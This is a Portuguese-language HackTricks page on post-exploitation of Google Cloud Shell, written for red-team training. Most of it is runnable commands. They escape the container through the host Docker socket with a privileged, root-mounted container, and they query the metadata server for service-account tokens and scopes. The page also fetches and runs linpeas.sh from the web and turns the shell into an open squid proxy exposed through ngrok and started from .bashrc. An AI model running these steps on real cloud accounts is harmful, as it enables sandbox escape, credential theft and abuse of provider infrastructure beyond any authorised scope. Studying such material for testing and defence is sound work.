GCP - Cloud Shell Pós Exploração

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Shell

Para mais informações sobre o Cloud Shell, consulte:

GCP - Cloud Shell Enum

Escape de Container

Observe que o Google Cloud Shell é executado dentro de um container, você pode facilmente escapar para o host fazendo:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Isso não é considerado uma vulnerabilidade pelo Google, mas oferece uma visão mais ampla do que está acontecendo nesse ambiente.

Além disso, observe que a partir do host você pode encontrar um token de conta de serviço:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Com os seguintes escopos:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerar metadados com LinPEAS:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Após usar https://github.com/carlospolop/bf_my_gcp_permissions com o token da Conta de Serviço nenhuma permissão foi descoberta...

Use como Proxy

Se você quiser usar sua instância do google cloud shell como proxy, você precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):

bash
sudo apt install -y squid

Crie um arquivo squid.conf com as seguintes configurações:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copie o arquivo squid.conf para /etc/squid

bash
sudo cp squid.conf /etc/squid

Finalmente, execute o serviço squid:

bash
sudo service squid start

Use ngrok para tornar o proxy disponível externamente:

bash
./ngrok tcp 3128

Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, é sugerido remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).

Para melhor uso na inicialização, o arquivo .bashrc deve ter as seguintes linhas:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

As instruções foram copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Verifique essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até mesmo Windows) no Cloud Shell.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks